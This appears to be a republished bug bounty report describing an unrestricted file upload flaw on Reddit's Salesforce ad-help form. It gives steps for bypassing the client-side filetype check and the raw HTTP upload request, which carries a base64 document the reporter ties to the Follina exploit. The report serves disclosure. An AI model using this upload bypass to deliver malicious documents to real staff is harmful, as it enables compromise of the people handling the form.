Reddit: Unrestricted File Upload on reddit.secure.force.com
Discription

## Summary:
Reddit.secure.force.com is Reddit SalesForce instance. Attacker is able to send attachments of disallowed filetypes to this server. The attacker is able to send malicious documents such as CVE-2022-30190 Follina to the victim.

## Impact:
Attacker can send malicious files to whoever handles the form behind https://reddit.secure.force.com/adhelp

## Steps To Reproduce:
1. Go to https://reddit.secure.force.com/adhelp
2. Notice that the specified allowed filetype is: jpg jpeg gif png pdf as you can see with the image below:

{F1780944}

3. If you try dragging and dropping a docx file to that box, there is a Javascript which forbids such action. But if you used the “Click to browse” option you can start uploading the file.

{F1780957}

4. The file upload request:

“`http
POST /adhelp/apexremote HTTP/1.1
Host: reddit.secure.force.com
????????
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://reddit.secure.force.com/adhelp/
X-User-Agent: Visualforce-Remoting
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 15301
Origin: https://reddit.secure.force.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

{“action”:”AdvertisingHelpController”,”method”:”uploadFile”,”data”:[“UEsDBBQABgAIAAAAIQDfpNJsWgEAACAFAAATAAgCW0NvbnRlbnRfVHlwZXNdLnhtbCCiBAIooAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AARAAAAAAAAAAAAAAAAAOkIAAB3b3JkL2RvY3VtZW50LnhtbFBLAQItABQABgAIAAAAIQCqUiXfIwYAAIsaAAAVAAAAAAAAAAAAAAAAAEMLAAB3b3JkL3RoZW1lL3RoZW1lMS54bWxQSwECLQAUAAYACAAAACEABF3uKaoDAACtCQAAEQAAAAAAAAAAAAAAAACZEQAAd29yZC9zZXR0aW5ncy54bWxQSwECLQAUAAYACAAAACEAnXtOcaoBAADtBAAAEgAAAAAAAAAAAAAAAAByFQAAd29yZC9mb250VGFibGUueG1sUEsBAi0AFAAGAAgAAAAhAFtt/ZMJAQAA8QEAABQAAAAAAAAAAAAAAAAATBcAAHdvcmQvd2ViU2V0dGluZ3MueG1sUEsBAi0AFAAGAAgAAAAhAJ2D3+VtAQAAxwIAABAAAAAAAAAAAAAAAAAAhxgAAGRvY1Byb3BzL2FwcC54bWxQSwECLQAUAAYACAAAACEAw+MZN3ABAAD5AgAAEQAAAAAAAAAAAAAAAAAqGwAAZG9jUHJvcHMvY29yZS54bWxQSwECLQAUAAYACAAAACEAC0ZqEBsLAAAEcAAADwAAAAAAAAAAAAAAAADRHQAAd29yZC9zdHlsZXMueG1sUEsFBgAAAAALAAsAwQIAABkpAAAAAA==”,””,”Dummy Data.docx”,”5005c000017FCu8AAG”,”118.70.7.113″],”type”:”rpc”,”tid”:3,”ctx”:{“csrf”:”VmpFPSxNakF5TWkwd05pMHlNMVF3T0Rvek1qb3lOQzQ0TURCYSxPeVQ1SlZBcnRoajJZQlJFS1c3QVlvLE5HVXhPRGN6″,”vid”:”0661J000003FS4V”,”ns”:””,”ver”:41}}
“`

Here the data parameter contains the base64 encoded version of my clickme.docx file, which is based on the critical Follina vulnerability {F1780963}. This vulnerability can become a [zero click exploit](https://innovatecybersecurity.com/security-threat-advisory/follina-zero-day-allows-zero-click-rce-from-office-docs/).

5. Response returns 200, indicated that there is no existing server side check for filetype and the file was uploaded successfully:
“`http
HTTP/1.1 200 OK
Date: Mon, 20 Jun 2022 08:41:53 GMT
Strict-Transport-Security: max-age=63072000; includeSubDomains
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: origin-when-cross-origin
Cache-Control: no-cache,must-revalidate,max-age=0,no-store,private
Content-Type: application/json;charset=UTF-8
X-Powered-By: Salesforce.com Visualforce
Vary: Accept-Encoding
Connection: close
Content-Length: 142

[{“statusCode”:200,”type”:”rpc”,”tid”:3,”ref”:false,”action”:”AdvertisingHelpController”,”method”:”uploadFile”,”result”:”00P5c00001leROKEA2″}]
“`

## Impact

Attacker can send malicious files to whoever handles the form behind https://reddit.secure.force.com/adhelpRead More

Back to Main

Subscribe for the latest news:
Generated by Feedzy
%d bloggers like this: